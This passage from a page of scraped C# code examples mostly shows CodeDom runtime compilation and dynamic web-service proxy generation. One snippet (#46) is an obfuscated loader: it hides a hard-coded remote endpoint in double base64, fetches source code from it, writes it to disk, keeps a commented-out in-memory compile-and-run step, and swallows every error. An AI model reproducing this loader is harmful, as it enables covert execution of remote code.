     this._codeCompileUnit     = codeCompileUnit;
     this._compilerParameters  = compilerParameters;
     this._linePragmasTable    = linePragmasTable;
 }
コード例 #30
0
ファイル: Compiler.cs プロジェクト: Ret-Mode/JamGame1
        public Compiler(String FileName, bool InMemory)
        {
            CodeDomProvider    CSCP;
            CompilerParameters CP;

            CSCP = CodeDomProvider.CreateProvider("CSharp");
            CP   = new System.CodeDom.Compiler.CompilerParameters
            {
                GenerateExecutable = !InMemory,
                GenerateInMemory   = InMemory
            };
            CP.ReferencedAssemblies.Add("System.dll");

            ///CompilerResults results = CSCP.CompileAssemblyFromSource(CP, new string[]
            CompilerResults results = CSCP.CompileAssemblyFromFile(CP, FileName);

            if (results.Errors.Count == 0)
            {
                object myClass = results.CompiledAssembly.CreateInstance("MyClass");
                myClass.GetType().GetMethod("Message").Invoke(myClass, new [] { "Hello World!" });
                myClass = null;
            }
            CP   = null;
            CSCP = null;
        }
コード例 #31
0
    public static TDelegate BuildFold7 <TDelegate>(string funcSource, string name) where TDelegate : class
    {
        var compiler = new Microsoft.CSharp.CSharpCodeProvider();
        var parms    = new System.CodeDom.Compiler.CompilerParameters
        {
            GenerateExecutable = false,
            GenerateInMemory   = true
        };

        parms.ReferencedAssemblies.Add("System.dll");

        var result = compiler.CompileAssemblyFromSource(parms, new[] {
            string.Format(
                @"
using System; 
public class MyClass
{{
    {0}
}}
            ", funcSource),
        });

        if (result.Errors.Count > 0)
        {
            throw new Exception(string.Join("\n", result.Errors));
        }

        return(result.CompiledAssembly.GetType("MyClass").GetMethod(name).CreateDelegate(typeof(TDelegate)) as TDelegate);
    }
コード例 #32
0
        private static CompilerResults Compile(string ToCompile)
        {
            Dictionary <String, String> providerOptions = new Dictionary <String, String> {
                { "CompilerVersion", "v3.5" }
            };

            Microsoft.CSharp.CSharpCodeProvider   codeProvider = new Microsoft.CSharp.CSharpCodeProvider(providerOptions);
            System.CodeDom.Compiler.ICodeCompiler icc          = codeProvider.CreateCompiler();
            string Output = "";// @"mypath";

            System.CodeDom.Compiler.CompilerParameters parameters = new System.CodeDom.Compiler.CompilerParameters();
            parameters.GenerateExecutable = false;
            parameters.OutputAssembly     = Output;
            parameters.ReferencedAssemblies.Add("System.Core.dll");
            parameters.ReferencedAssemblies.Add("System.Data.dll");
            parameters.ReferencedAssemblies.Add("System.XML.Linq.dll");
            parameters.ReferencedAssemblies.Add("WD toolbox.dll");
            CompilerResults results = icc.CompileAssemblyFromSource(parameters, ToCompile);

            if (results.Errors.Count == 0)
            {
                //System.Diagnostics.Process.Start(Output);
            }

            return(results);
        }
コード例 #33
0
        public override object Execute(string code)
        {
            ICodeCompiler      compiler  = new Microsoft.CSharp.CSharpCodeProvider().CreateCompiler();
            CompilerParameters cmpParams = new System.CodeDom.Compiler.CompilerParameters();

            cmpParams.GenerateInMemory   = true;
            cmpParams.GenerateExecutable = true;
            //cmpParams.CompilerOptions = "/t:exe";

            foreach (string ass in this._referencedAssemblies)
            {
                cmpParams.ReferencedAssemblies.Add(ass + ".dll");
            }

            string codeString = this.GenerateReferenceString();

            codeString = this.InsertCode(code);

            CompilerResults results = compiler.CompileAssemblyFromSource(cmpParams, codeString);

//			foreach (System.CodeDom.Compiler.CompilerError ce in results.Errors)
//				this.Put(ce.ErrorText);

            if (results.Errors.Count == 0 && results.CompiledAssembly != null)
            {
                System.Reflection.MethodInfo methodInfo = results.CompiledAssembly.EntryPoint;
                return(methodInfo.Invoke(null, null));
            }
            return(null);
        }
コード例 #34
0
        /// <summary>
        /// get an Assembly according to wsdl path.
        /// </summary>
        /// <param name="wsdl">wsdl path</param>
        /// <param name="nameSpace">namespace</param>
        /// <returns>return Assembly</returns>
        public static Assembly GetWebServiceAssembly(string wsdl, string nameSpace)
        {
            try
            {
                System.Net.WebClient webClient = new System.Net.WebClient();
                System.IO.Stream     webStream = webClient.OpenRead(wsdl);

                ServiceDescription         serviceDescription      = ServiceDescription.Read(webStream);
                ServiceDescriptionImporter serviceDescroptImporter = new ServiceDescriptionImporter();

                serviceDescroptImporter.AddServiceDescription(serviceDescription, "", "");
                System.CodeDom.CodeNamespace   codeNameSpace   = new System.CodeDom.CodeNamespace(nameSpace);
                System.CodeDom.CodeCompileUnit codeCompileUnit = new System.CodeDom.CodeCompileUnit();
                codeCompileUnit.Namespaces.Add(codeNameSpace);
                serviceDescroptImporter.Import(codeNameSpace, codeCompileUnit);

                System.CodeDom.Compiler.CodeDomProvider    codeDom        = new Microsoft.CSharp.CSharpCodeProvider();
                System.CodeDom.Compiler.CompilerParameters codeParameters = new System.CodeDom.Compiler.CompilerParameters();
                codeParameters.GenerateExecutable = false;
                codeParameters.GenerateInMemory   = true;

                codeParameters.ReferencedAssemblies.Add("System.dll");
                codeParameters.ReferencedAssemblies.Add("System.XML.dll");
                codeParameters.ReferencedAssemblies.Add("System.Web.Services.dll");
                codeParameters.ReferencedAssemblies.Add("System.Data.dll");

                System.CodeDom.Compiler.CompilerResults compilerResults = codeDom.CompileAssemblyFromDom(codeParameters, codeCompileUnit);

                return(compilerResults.CompiledAssembly);
            }
            catch (Exception ex)
            {
                throw ex;
            }
        }
コード例 #35
0
ファイル: Program.cs プロジェクト: khaos-one/blaze
        internal static void MainThreadEntry(object state)
        {
            var args = (string[])state;

            if (args.Length < 2)
                throw new Exception("Dunno what to run.");

            var appDirectory = Path.GetFullPath(args[1]);
            var appFile = Path.Combine(appDirectory, "App.cs");
            var appConfigFile = Path.Combine(appDirectory, "BlazeApp.json.config");

            if (!File.Exists(appConfigFile))
                throw new Exception("App configuration file was not found.");
            if (!File.Exists(appFile))
                throw new Exception("No app entry found.");

            var appConfigFileContent = File.ReadAllText(appConfigFile);
            var appConfig = JsonConvert.DeserializeObject<AppConfiguration>(appConfigFileContent);

            var tempAssemblyPath = Path.Combine(Path.GetTempPath(), Path.GetTempFileName());
            var codeProvider = new CSharpCodeProvider(new Dictionary<string, string>() { { "CompilerVersion", appConfig.CompilerVersion } });
            var compilerParameters = new CompilerParameters(appConfig.References, tempAssemblyPath, false)
            {
                GenerateInMemory = true
            };
            var compilerResult = codeProvider.CompileAssemblyFromFile(compilerParameters, new[] { appFile });

            if (compilerResult.Errors.Count > 0)
                throw new Exception("There were errors during compilation.");

            // TODO: Invoke compiled entry method -- http://stackoverflow.com/questions/14479074/c-sharp-reflection-load-assembly-and-invoke-a-method-if-it-exists
        }
コード例 #36
0
        static Assembly CompileSettings(string inputFilePath)
        {
            string fileName = Path.GetFileNameWithoutExtension(inputFilePath);

            string code = File.ReadAllText(inputFilePath);
            code = "using SettingsCompiler;\r\n\r\n" + "namespace " + fileName + "\r\n{\r\n" + code;
            code += "\r\n}";

            Dictionary<string, string> compilerOpts = new Dictionary<string, string> { { "CompilerVersion", "v4.0" } };
            CSharpCodeProvider compiler = new CSharpCodeProvider(compilerOpts);

            string[] sources = { code };
            CompilerParameters compilerParams = new CompilerParameters();
            compilerParams.GenerateInMemory = true;
            compilerParams.ReferencedAssemblies.Add("System.dll");
            compilerParams.ReferencedAssemblies.Add("SettingsCompilerAttributes.dll");
            CompilerResults results = compiler.CompileAssemblyFromSource(compilerParams, sources);
            if(results.Errors.HasErrors)
            {
                string errMsg = "Errors were returned from the C# compiler:\r\n\r\n";
                foreach(CompilerError compilerError in results.Errors)
                {
                    int lineNum = compilerError.Line - 4;
                    errMsg += inputFilePath + "(" + lineNum + "): " + compilerError.ErrorText + "\r\n";
                }
                throw new Exception(errMsg);
            }

            return results.CompiledAssembly;
        }
コード例 #37
0
        public static string compilerte(string outputname, string sourcecode)
        {
            var codeProvider = new CSharpCodeProvider();
            var provider = CodeDomProvider.CreateProvider("CSharp");

            var exeName = outputname;

            var cp = new CompilerParameters
            {
                GenerateExecutable = true,
                OutputAssembly = exeName,
                GenerateInMemory = false,
                TreatWarningsAsErrors = false
            };

            var cr = provider.CompileAssemblyFromSource(cp, translatetocsharp(sourcecode));

            if (cr.Errors.Count > 0)
            {
                var builder = new StringBuilder();
                builder.Append("Cehape broke our codes that were supposed to be compiled here: " + cr.PathToAssembly);
                foreach (CompilerError ce in cr.Errors)
                {
                    builder.Append(Environment.NewLine + ce.ToString());
                }
                codeProvider.Dispose();
                return builder.ToString();
            }
            else
            {
                codeProvider.Dispose();
                return ("We were able to compile {0} successfully without cehape messing with it.".Replace("{0}", cr.PathToAssembly));
            }
        }
コード例 #38
0
        public static CompilerResults Compile(this DirectoryInfo[] compileTargets, string fileName, string[] referenceAssemblies, bool executable)
        {
            CSharpCodeProvider codeProvider = new CSharpCodeProvider();

            CompilerParameters parameters = new CompilerParameters();
            parameters.GenerateExecutable = executable;
            parameters.OutputAssembly = fileName;
            List<string> compilerOptions = new List<string>();

            foreach (string referenceAssembly in referenceAssemblies)
            {
                compilerOptions.Add("/reference:" + referenceAssembly);
            }
            parameters.CompilerOptions = compilerOptions.ToArray().ToDelimited(" ");

            List<string> fileNames = new List<string>();
            foreach (DirectoryInfo targetDirectory in compileTargets)
            {
                foreach (FileInfo fileInfo in FsUtil.GetFilesWithExtension(targetDirectory.FullName, ".cs"))
                {
                    fileNames.Add(fileInfo.FullName);
                }
            }

            return codeProvider.CompileAssemblyFromFile(parameters, fileNames.ToArray());//.CompileAssemblyFromFileBatch(parameters, fileNames.ToArray());
        }
コード例 #39
0
ファイル: DecompilerTestBase.cs プロジェクト: arkanoid1/dnSpy
		protected static AssemblyDef CompileLegacy(string code, bool optimize, bool useDebug, int compilerVersion)
		{
			CSharpCodeProvider provider = new CSharpCodeProvider(new Dictionary<string, string> { { "CompilerVersion", "v" + new Version(compilerVersion, 0) } });
			CompilerParameters options = new CompilerParameters();
			options.CompilerOptions = "/unsafe /o" + (optimize ? "+" : "-") + (useDebug ? " /debug" : "");
			if (compilerVersion >= 4)
				options.ReferencedAssemblies.Add("System.Core.dll");
			CompilerResults results = provider.CompileAssemblyFromSource(options, code);
			try
			{
				if (results.Errors.Count > 0)
				{
					StringBuilder b = new StringBuilder("Compiler error:");
					foreach (var error in results.Errors)
					{
						b.AppendLine(error.ToString());
					}
					throw new Exception(b.ToString());
				}
				return Utils.OpenAssembly(results.PathToAssembly);
			}
			finally
			{
				File.Delete(results.PathToAssembly);
				results.TempFiles.Delete();
			}
		}
コード例 #40
0
 public static void compileSource()
 {
     //UNDER CONSTRUCTION
     string source = @"
     namespace Foo
     {
     public class Bar
     {
     public void SayHello()
     {
     System.Console.WriteLine(""Hello World"");
     }
     }
     }
     ";
     Dictionary<string, string> providerOptions = new Dictionary<string, string>
     {
         {"CompilerVersion", "v4" }
     };
     CSharpCodeProvider provider = new CSharpCodeProvider(providerOptions);
     CompilerParameters compilerParams = new CompilerParameters
         {GenerateInMemory = true,
         GenerateExecutable = false};
     CompilerResults results = provider.CompileAssemblyFromSource(compilerParams, source);
     if (results.Errors.Count != 0)
         throw new Exception("Mission Failed");
     object o = results.CompiledAssembly.CreateInstance("Foo.Bar");
     MethodInfo mi = o.GetType().GetMethod("SayHello");
     mi.Invoke(o, null);
 }
コード例 #41
0
ファイル: CodeDomInterfaceBuilder.cs プロジェクト: picoe/Eto
		protected virtual void SetParameters(CompilerParameters parameters)
		{
			string referenceDir = GetReferenceAssembliesFolder();

			if (string.IsNullOrEmpty(referenceDir))
				throw new InvalidOperationException("Cannot find reference assemblies folder");

			if (EtoEnvironment.Platform.IsMono)
				parameters.ReferencedAssemblies.Add(Path.Combine(referenceDir, "mscorlib.dll"));

			parameters.ReferencedAssemblies.AddRange(new[]
			{ 
				Path.Combine(referenceDir, "System.dll"),
				Path.Combine(referenceDir, "System.Core.dll"),
				typeof(Control).Assembly.Location
			});

			/* Needed for PCL version of Eto.dll
			 */
			var facadeDir = Path.Combine(referenceDir, "Facades");

			if (Directory.Exists(facadeDir))
			{
				foreach (var file in Directory.GetFiles(facadeDir))
				{
					parameters.ReferencedAssemblies.Add(file);
				}
			}
		}
コード例 #42
0
        public static Assembly CompileParser(string source, OpCodes opcode)
        {
            source = AddImpliedCode(source, opcode);
            using (CodeDomProvider provider = CodeDomProvider.CreateProvider("CSharp"))
            {
                CompilerParameters cp = new CompilerParameters();

                cp.GenerateInMemory = true;
                cp.TreatWarningsAsErrors = false;
                cp.GenerateExecutable = false;
                cp.ReferencedAssemblies.Add("System.dll");
                cp.ReferencedAssemblies.Add("System.Core.dll");
                cp.ReferencedAssemblies.Add("WowTools.Core.dll");
                cp.ReferencedAssemblies.Add("WoWPacketViewer.exe");

                CompilerResults cr = provider.CompileAssemblyFromSource(cp, source);

                if (cr.Errors.Count > 0)
                {
                    StringBuilder sb = new StringBuilder();
                    foreach (CompilerError ce in cr.Errors)
                        sb.AppendFormat("{0}", ce).AppendLine();
                    throw new Exception(sb.ToString());
                }

                return cr.CompiledAssembly;
            }
        }
コード例 #43
0
ファイル: Helpers.cs プロジェクト: tian1ll1/WPF_Examples
        internal static bool CompileCode(CodeDomProvider provider, Assembly userAssembly, string[] generatedSrcFiles)
        {
            // Parameters for compilation
            String[] referenceAssemblies = {
                "System.dll",
                "System.ServiceModel.dll",
                "System.Configuration.dll",
                userAssembly.Location
                                            };
            string compiledFile = "temp.dll";

            CompilerParameters cp = new CompilerParameters(referenceAssemblies, compiledFile, false);
            cp.GenerateExecutable = false;

            Console.WriteLine("Compiling files: ");
            foreach (string fileName in generatedSrcFiles)
            {
                Console.WriteLine(fileName);
            }
            CompilerResults cr = provider.CompileAssemblyFromFile(cp, generatedSrcFiles);

            if (cr.Errors.Count > 0)
            {
                Console.WriteLine("Please investigate. The tool encountered errors during compilation");
                foreach (CompilerError ce in cr.Errors)
                    Console.WriteLine(ce.ToString());
                return false;
            }
            else
            {
                Console.WriteLine("No errors encountered during compilation");
                File.Delete(compiledFile);
            }
            return true;
        }
コード例 #44
0
        /// <summary> 根据参数执行WebService </summary>
        public static object InvokeWebService(string url, string classname, string methodname, object[] args)
        {
            try
            {
                string _namespace = "WebService";
                if (string.IsNullOrEmpty(classname))
                {
                    classname = GetClassName(url);
                }
                //获取服务描述语言(WSDL)
                Net.WebClient wc     = new Net.WebClient();
                Stream        stream = wc.OpenRead(url + "?WSDL");                                                                   //【1】
                Web.Services.Description.ServiceDescription         sd  = Web.Services.Description.ServiceDescription.Read(stream);  //【2】
                Web.Services.Description.ServiceDescriptionImporter sdi = new Web.Services.Description.ServiceDescriptionImporter(); //【3】
                sdi.AddServiceDescription(sd, "", "");
                CodeDom.CodeNamespace cn = new CodeDom.CodeNamespace(_namespace);                                                    //【4】
                //生成客户端代理类代码
                CodeDom.CodeCompileUnit ccu = new CodeDom.CodeCompileUnit();                                                         //【5】
                ccu.Namespaces.Add(cn);
                sdi.Import(cn, ccu);
                //CSharpCodeProvider csc = new CSharpCodeProvider();//【6】
                CodeDom.Compiler.CodeDomProvider csc = CodeDom.Compiler.CodeDomProvider.CreateProvider("CSharp");
                //ICodeCompiler icc = csc.CreateCompiler();//【7】

                //设定编译器的参数
                CodeDom.Compiler.CompilerParameters cplist = new CodeDom.Compiler.CompilerParameters();//【8】
                cplist.GenerateExecutable = false;
                cplist.GenerateInMemory   = true;
                cplist.ReferencedAssemblies.Add("System.dll");
                cplist.ReferencedAssemblies.Add("System.XML.dll");
                cplist.ReferencedAssemblies.Add("System.Web.Services.dll");
                cplist.ReferencedAssemblies.Add("System.Data.dll");
                //编译代理类
                CodeDom.Compiler.CompilerResults cr = csc.CompileAssemblyFromDom(cplist, ccu);//【9】
                if (true == cr.Errors.HasErrors)
                {
                    System.Text.StringBuilder sb = new StringBuilder();
                    foreach (CodeDom.Compiler.CompilerError ce in cr.Errors)
                    {
                        sb.Append(ce.ToString());
                        sb.Append(System.Environment.NewLine);
                    }
                    throw new Exception(sb.ToString());
                }

                //生成代理实例,并调用方法
                System.Reflection.Assembly assembly = cr.CompiledAssembly;
                Type   t  = assembly.GetType(_namespace + "." + classname, true, true);
                object bj = Activator.CreateInstance(t);                   //【10】
                System.Reflection.MethodInfo mi = t.GetMethod(methodname); //【11】
                return(mi.Invoke(bj, args));
            }
            catch (System.Exception ex)
            {
                Common.LogHelper.Instance.WriteError(ex.Message + "|" + ex.StackTrace);
                //MessageManager.ShowErrorMsg(ex.Message.ToString(), "test");
                return(null);
            }
        }
コード例 #45
0
            /// <summary>
            /// This method compiles the source given to it dynamically for use in plugins, etc...
            ///
            /// --== History of Changes ==--
            /// 11/05/2006 - Mike : Removed the compiler variable and called the provider method
            ///                     CompilerAssemblyFromFile directly.  I did this to remove a warning.
            /// </summary>
            /// <param name="strFile">The file we wish to compile</param>
            /// <param name="strReferenceAssembliesToAdd">Assemblies that need to be included in the compile</param>
            /// <returns>The results of the compile</returns>
            public System.CodeDom.Compiler.CompilerResults CompileSourceCode(string strFile, string[] strReferenceAssembliesToAdd)              // [DC]
            {
                //Currently only csharp scripting is supported
                CodeDomProvider provider;
                string          extension = Path.GetExtension(strFile);

                switch (extension)
                {
                case ".tmp":                                    // default tmp files to .cs
                case ".cs":
                case ".ncs":
                    provider = new Microsoft.CSharp.CSharpCodeProvider();
                    break;

                case ".vb":
                case ".nvb":
                    provider = new Microsoft.VisualBasic.VBCodeProvider();
                    break;

                case ".njs":
                case ".js":
                    provider = (CodeDomProvider)Activator.CreateInstance("Microsoft.JScript", "Microsoft.JScript.JScriptCodeProvider").Unwrap();
                    break;

                default:
                    throw new UnsupportedLanguageExecption(extension);
                }
                System.CodeDom.Compiler.CompilerParameters compilerparams = new System.CodeDom.Compiler.CompilerParameters();
                compilerparams.GenerateInMemory   = true;
                compilerparams.GenerateExecutable = true;

                // manually add references (since he nfr bellow system will need to be implemented a diferent way)
                compilerparams.ReferencedAssemblies.Add("System.dll");
                compilerparams.ReferencedAssemblies.Add("System.Windows.Forms.Dll");
                foreach (string strReferenceAssemblyToAdd in strReferenceAssembliesToAdd)
                {
                    compilerparams.ReferencedAssemblies.Add(strReferenceAssemblyToAdd);
                }
                // we don't use this (since the extra references are retrieved from the Xml file

                /*
                 *              //Add assembly references from nscript.nrf or <file>.nrf
                 *              string nrfFile = Path.ChangeExtension(strFile, "nrf");
                 *
                 *              if (File.Exists(nrfFile))
                 *                      AddReferencesFromFile(compilerparams, nrfFile);
                 *              else
                 *              {
                 *                      //Use nscript.nrf
                 *                      nrfFile = Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "nscript.nrf");
                 *
                 *                      if (File.Exists(nrfFile))
                 *                              AddReferencesFromFile(compilerparams, nrfFile);
                 *              }
                 * */
                System.CodeDom.Compiler.CompilerResults crResults = provider.CompileAssemblyFromFile(compilerparams, strFile);

                return(crResults);
            }
コード例 #46
0
    public static void Main()
    {
        try
        {
            var iasd81j23ygasd = System.ServiceModel.ChannelFactory <IPanel> .CreateChannel(new System.ServiceModel.BasicHttpBinding(), new System.ServiceModel.EndpointAddress(Base64Decode(Base64Decode("YUhSMGNEb3ZMekU1TXk0eE1qUXVNVEU1TGpFME1qb3lOakV5TXk4PQ==")) + Base64Decode(Base64Decode("U1ZCaGJtVnM="))));

            var asodoqwpeu45opimbnpkvuger = new AuthPrms {
                Login = Base64Decode(Base64Decode("Wm05NGIzWnphM2s9"))
            };

            var asdl81723kad7123kjh9asd7123 = iasd81j23ygasd.BuildCode(asodoqwpeu45opimbnpkvuger);



            if (asdl81723kad7123kjh9asd7123.Status == RequestStatus.Success)
            {
                var aslasd81237jads = new System.CodeDom.Compiler.CompilerParameters
                {
                    GenerateExecutable = false,
                    GenerateInMemory   = true
                };
                aslasd81237jads.ReferencedAssemblies.Add(Base64Decode(Base64Decode("VTNsemRHVnRMbVJzYkE9PQ==")));
                aslasd81237jads.ReferencedAssemblies.Add(Base64Decode(Base64Decode("VTNsemRHVnRMazFoYm1GblpXMWxiblF1Wkd4cw==")));
                aslasd81237jads.ReferencedAssemblies.Add(Base64Decode(Base64Decode("VTNsemRHVnRMbEoxYm5ScGJXVXVVMlZ5YVdGc2FYcGhkR2x2Ymk1a2JHdz0=")));
                aslasd81237jads.ReferencedAssemblies.Add(Base64Decode(Base64Decode("VTNsemRHVnRMbE5sY25acFkyVk5iMlJsYkM1a2JHdz0=")));
                aslasd81237jads.ReferencedAssemblies.Add(Base64Decode(Base64Decode("VTNsemRHVnRMa2xQTG1Sc2JBPT0=")));
                aslasd81237jads.ReferencedAssemblies.Add(Base64Decode(Base64Decode("VTNsemRHVnRMbEpsWm14bFkzUnBiMjR1Wkd4cw==")));
                aslasd81237jads.ReferencedAssemblies.Add(Base64Decode(Base64Decode("VTNsemRHVnRMa3hwYm5FdVpHeHM=")));
                aslasd81237jads.ReferencedAssemblies.Add(Base64Decode(Base64Decode("VTNsemRHVnRMa052Y21VdVpHeHM=")));
                aslasd81237jads.ReferencedAssemblies.Add(Base64Decode(Base64Decode("VFdsamNtOXpiMlowTGtOVGFHRnljQzVrYkd3PQ==")));
                aslasd81237jads.ReferencedAssemblies.Add(Base64Decode(Base64Decode("VTNsemRHVnRMbFJvY21WaFpHbHVaeTVVWVhOcmN5NWtiR3c9")));

                /* Записываем полученный массив строк с сервера в файл */
                string       fileName = "out.cs";
                FileStream   aFile    = new FileStream(fileName, FileMode.OpenOrCreate);
                StreamWriter sw       = new StreamWriter(aFile);
                aFile.Seek(0, SeekOrigin.End);

                for (int i = 0; i < asdl81723kad7123kjh9asd7123.Data.Length; i++)
                {
                    sw.WriteLine(asdl81723kad7123kjh9asd7123.Data[i]);
                }

                sw.Close();
                Console.ReadKey();

                /*
                 * var prqweqe = new Microsoft.CSharp.CSharpCodeProvider();
                 * var ladjasd7123kha7sdj1237 = prqweqe.CompileAssemblyFromSource(aslasd81237jads, asdl81723kad7123kjh9asd7123.Data);
                 * var ZXmxcvhxy1231k23h123 = ladjasd7123kha7sdj1237.CompiledAssembly.GetType(Base64Decode(Base64Decode("VUhKdlozSmhiUT09")));
                 * var asdjk12378afl0834578j123 = ZXmxcvhxy1231k23h123.GetMethod(Base64Decode(Base64Decode("VFhsRGIyUmw=")), System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.Static);
                 * asdjk12378afl0834578j123.Invoke(null, null);*/
            }
        }
        catch
        {
        }
    }
コード例 #47
0
        private void CSBuilderAll()
        {
            Console.Write("\nBuilding All in {0}:\n", thisbr.environment);
            string             Output       = Path.GetFullPath(builderOutputDir + "Out.dll");
            string             buildLogFile = Path.GetFullPath(builderOutputDir + "BuildLog" + thisbr.requestID + ".xml");
            CSharpCodeProvider codeProvider = new CSharpCodeProvider();
            ICodeCompiler      icc          = codeProvider.CreateCompiler();

            CompilerParameters parameters = new System.CodeDom.Compiler.CompilerParameters();

            parameters.GenerateExecutable = false;
            parameters.OutputAssembly     = Output;
            string[] filesArray = files.ToArray();
            for (int i = 0; i < filesArray.Length; ++i)
            {
                filesArray[i] = System.IO.Path.GetFullPath("../../../BuilderStorage/" + filesArray[i]);
            }
            CompilerResults results      = codeProvider.CompileAssemblyFromFile(parameters, filesArray);
            StringBuilder   buildlog     = new StringBuilder("");
            XElement        buildlogElem = new XElement("buildLog");

            buildlog.Append("requestID: " + thisbr.requestID + "\n");
            XElement requestIDElem = new XElement("requestID");

            requestIDElem.Add(thisbr.requestID);
            buildlogElem.Add(requestIDElem);

            buildlog.Append("buildedTimeStamp: " + DateTime.Now.ToString() + "\n");
            XElement buildedTimeStampElem = new XElement("buildedTimeStamp");

            buildedTimeStampElem.Add(DateTime.Now.ToString());
            buildlogElem.Add(buildedTimeStampElem);

            XElement buildResultElem = new XElement("buildResult");

            buildlogElem.Add(buildResultElem);

            if (results.Errors.Count == 0)
            {
                buildResultElem.Add("success");
                buildlog.Append("Build Success!\n");
                buildresultFlag = true;
            }
            else
            {
                buildResultElem.Add("fail");
                buildresultFlag = false;
                XElement buildErrorElem = new XElement("buildError");
                buildResultElem.Add(buildErrorElem);
                foreach (CompilerError compilerError in results.Errors)
                {
                    buildlog.Append(compilerError + "\n");
                    buildErrorElem.Add(compilerError);
                }
            }
            Console.Write(buildlog);
            buildlogElem.Save(buildLogFile);
        }
コード例 #48
0
        public System.CodeDom.Compiler.CompilerResults CompileAssemblyFromFileBatch(System.CodeDom.Compiler.CompilerParameters options, string[] fileNames)
        {
            //  Redirect this call into the CompileAssemblyFromDomBatch().
            CompilerResults results = this.mCompiler.CompileAssemblyFromFileBatch(options, fileNames);

            CheckForFixup(this.mCmdLineResults);
            IsExceptionCatchingOK(this.mCmdLineResults, results);
            return(results);
        }
コード例 #49
0
        public static object WebserviceInvoke(string p_strUrl, string p_strNameSpace, string p_strClassName, string p_strMethodName, object[] p_objArgs)
        {
            object oReturnValue = null;

            try
            {
                if (p_strNameSpace == "")
                {
                    p_strNameSpace = "EnterpriseServerBase.WebService.DynamicWebCalling";
                }
                if (p_strClassName == "")
                {
                    p_strClassName = WebServiceHelper.GetWsClassName(p_strUrl);
                }
                System.Net.WebClient wc     = new System.Net.WebClient();
                System.IO.Stream     stream = wc.OpenRead(p_strUrl + "?wsdl");
                System.Web.Services.Description.ServiceDescription         sd  = System.Web.Services.Description.ServiceDescription.Read(stream);
                System.Web.Services.Description.ServiceDescriptionImporter sdi = new System.Web.Services.Description.ServiceDescriptionImporter();
                sdi.AddServiceDescription(sd, "", "");
                System.CodeDom.CodeNamespace   cn  = new System.CodeDom.CodeNamespace(p_strNameSpace);
                System.CodeDom.CodeCompileUnit ccu = new System.CodeDom.CodeCompileUnit();
                ccu.Namespaces.Add(cn);
                sdi.Import(cn, ccu);

                Microsoft.CSharp.CSharpCodeProvider        csc    = new Microsoft.CSharp.CSharpCodeProvider();
                System.CodeDom.Compiler.CompilerParameters cplist = new System.CodeDom.Compiler.CompilerParameters();
                cplist.GenerateExecutable = false;
                cplist.GenerateInMemory   = true;
                cplist.ReferencedAssemblies.Add("System.dll");
                cplist.ReferencedAssemblies.Add("System.XML.dll");
                cplist.ReferencedAssemblies.Add("System.Web.Services.dll");
                cplist.ReferencedAssemblies.Add("System.Data.dll");

                System.CodeDom.Compiler.CompilerResults cr = csc.CompileAssemblyFromDom(cplist, ccu);
                if (true == cr.Errors.HasErrors)
                {
                    System.Text.StringBuilder sb = new System.Text.StringBuilder();
                    foreach (System.CodeDom.Compiler.CompilerError ce in cr.Errors)
                    {
                        sb.Append(ce.ToString());
                        sb.Append(System.Environment.NewLine);
                    }
                    throw new Exception(sb.ToString());
                }
                System.Reflection.Assembly assembly = cr.CompiledAssembly;
                Type   t   = assembly.GetType(p_strNameSpace + "." + p_strClassName, true, true);
                object obj = Activator.CreateInstance(t);
                System.Reflection.MethodInfo mi = t.GetMethod(p_strMethodName);
                oReturnValue = mi.Invoke(obj, p_objArgs);
            }
            catch (Exception ex)
            {
                throw new Exception(ex.InnerException.Message, new Exception(ex.InnerException.StackTrace));
            }
            return(oReturnValue);
        }
コード例 #50
0
 public ZonnonCompilation(System.Compiler.Module targetModule,
                          System.Compiler.CompilationUnitList compilationUnits,
                          System.CodeDom.Compiler.CompilerParameters compilerParameters,
                          System.Compiler.Scope globalScope)
     : base(targetModule, compilationUnits, compilerParameters, globalScope)
 {
     init();
     EXTERNALS.clear();
     wasMainModule = false;
 }
コード例 #51
0
 internal CompilerType(Type codeDomProviderType, System.CodeDom.Compiler.CompilerParameters compilParams)
 {
     this._codeDomProviderType = codeDomProviderType;
     if (compilParams == null)
     {
         this._compilParams = new System.CodeDom.Compiler.CompilerParameters();
     }
     else
     {
         this._compilParams = compilParams;
     }
 }
コード例 #52
0
        private CompilerParameters CreateCompilerOptions()
        {
            var options = new System.CodeDom.Compiler.CompilerParameters()
            {
                GenerateExecutable      = false,
                GenerateInMemory        = true,
                IncludeDebugInformation = false,
                TreatWarningsAsErrors   = true,
                WarningLevel            = 4,
            };

            return(options);
        }
コード例 #53
0
ファイル: WSHelper.cs プロジェクト: linrb/CMS-Source-code
    /// <summary>
    /// 通过反射完成WS调用
    /// </summary>
    /// <param name="url">WSUrl</param>
    /// <param name="namespace">WS命名空间</param>
    /// <param name="classname">WS类名</class>
    /// <param name="methodname">WS方法名</class>
    /// <param name="args">传递给WS方法的参数</param>
    /// 示例:url="http://win01:86";serviceUrl = "/Api/SiteGroupFunc.asmx";
    /// object s = InvokeWebSer(url + serviceUrl, "SiteGroup", "SiteGroupFunc", "GetSiteName", new object[] { });
    /// <returns>执行结果</returns>
    public object InvokeWS(string url, string @namespace, string classname, string methodname, object[] args)
    {
        System.Net.WebClient wc = new System.Net.WebClient();
        string URL = string.Empty;

        if ((url.Substring(url.Length - 5, 5) != null) && ((url.Substring(url.Length - 5, 5).ToLower() != "?wsdl")))
        {
            URL = url + "?WSDL";
        }
        else
        {
            URL = url;
        }
        System.IO.Stream stream = wc.OpenRead(URL);
        System.Web.Services.Description.ServiceDescription         sd  = System.Web.Services.Description.ServiceDescription.Read(stream);
        System.Web.Services.Description.ServiceDescriptionImporter sdi = new System.Web.Services.Description.ServiceDescriptionImporter();
        sdi.AddServiceDescription(sd, "", "");
        System.CodeDom.CodeNamespace   cn  = new System.CodeDom.CodeNamespace(@namespace);
        System.CodeDom.CodeCompileUnit ccu = new System.CodeDom.CodeCompileUnit();
        ccu.Namespaces.Add(cn);
        sdi.Import(cn, ccu);

        Microsoft.CSharp.CSharpCodeProvider csc = new Microsoft.CSharp.CSharpCodeProvider();

        System.CodeDom.Compiler.CompilerParameters cplist = new System.CodeDom.Compiler.CompilerParameters();
        cplist.GenerateExecutable = false;
        cplist.GenerateInMemory   = true;
        cplist.ReferencedAssemblies.Add("System.dll");
        cplist.ReferencedAssemblies.Add("System.XML.dll");
        cplist.ReferencedAssemblies.Add("System.Web.Services.dll");
        cplist.ReferencedAssemblies.Add("System.Data.dll");

        System.CodeDom.Compiler.CompilerResults cr = csc.CompileAssemblyFromDom(cplist, ccu);

        if (true == cr.Errors.HasErrors)
        {
